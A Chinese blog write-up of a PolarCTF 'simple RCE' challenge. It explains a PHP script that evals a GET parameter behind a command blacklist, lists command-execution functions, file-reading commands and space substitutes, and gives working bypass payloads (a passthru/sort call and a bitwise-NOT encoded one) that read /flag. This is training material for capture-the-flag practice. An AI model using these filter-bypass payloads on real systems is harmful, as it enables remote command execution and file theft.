PolarD&N(简单rce)

PolarD&N(简单rce)

一、网站地址:https://www.polarctf.com/

二、打开题目

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-i7IKevHK-1681605902192)(D:\网安笔记\图片\image-20230415190913908.png)]

三、代码分析

<?php
highlight_file(__FILE__);    //对文件进行语法高亮显示

function no($txt){			//定义一个no函数,并传入变量txt
    if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){	                    //preg_match 函数用于执行一个正则表达式匹配
    return $txt;			//返回参数值
    }else{
		die("what's up");   //输出一条消息,并退出当前脚本
    }
}

$yyds=($_POST['yyds']);		//通过POST方式传递参数yyds
if(isset($_GET['sys'])&&$yyds=='666'){  //通过GET方式传递参数sys;并判断
  eval(no($_GET['sys']));			//调用no函数,并输出
  }else{
    echo "nonono";					//输出nonono		
	}
?> 

四、绕过姿势

  • 命令执行函数

    system()
    passthru()
    exec()
    shell_exec()
    popen()/proc_open()
    
  • 读取文件命令

    more:一页一页的显示档案内容
    less:与 more 类似
    head:查看头几行
    tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    tail:查看尾几行
    nl:显示的时候,顺便输出行号
    od:以二进制的方式读取档案内容
    vi:一种编辑器,这个也可以查看
    vim:一种编辑器,这个也可以查看
    sort:可以查看
    uniq:可以查看
    
  • 空格替代

    <,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1
    

五、本题绕过

  • 方法一:使用未被过滤的命令

    sys=passthru('sort%09/flag');
    
  • 方法二:字符串转义绕过;适用PHP版本PHP>=7

    以八进制表示的\[0–7]{1,3}转义字符会自动适配byte(如"\400" == “\000”)
    以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41")
    以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串
    URL编码协议规定(即 RFC3986 协议):URL 中只允许包含英文字母、数字、以及这 4 个 - _ . ~ 特殊字符和所有的保留字符
    
    sys=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
    
  • 获得flag

在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

果粒程1122

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值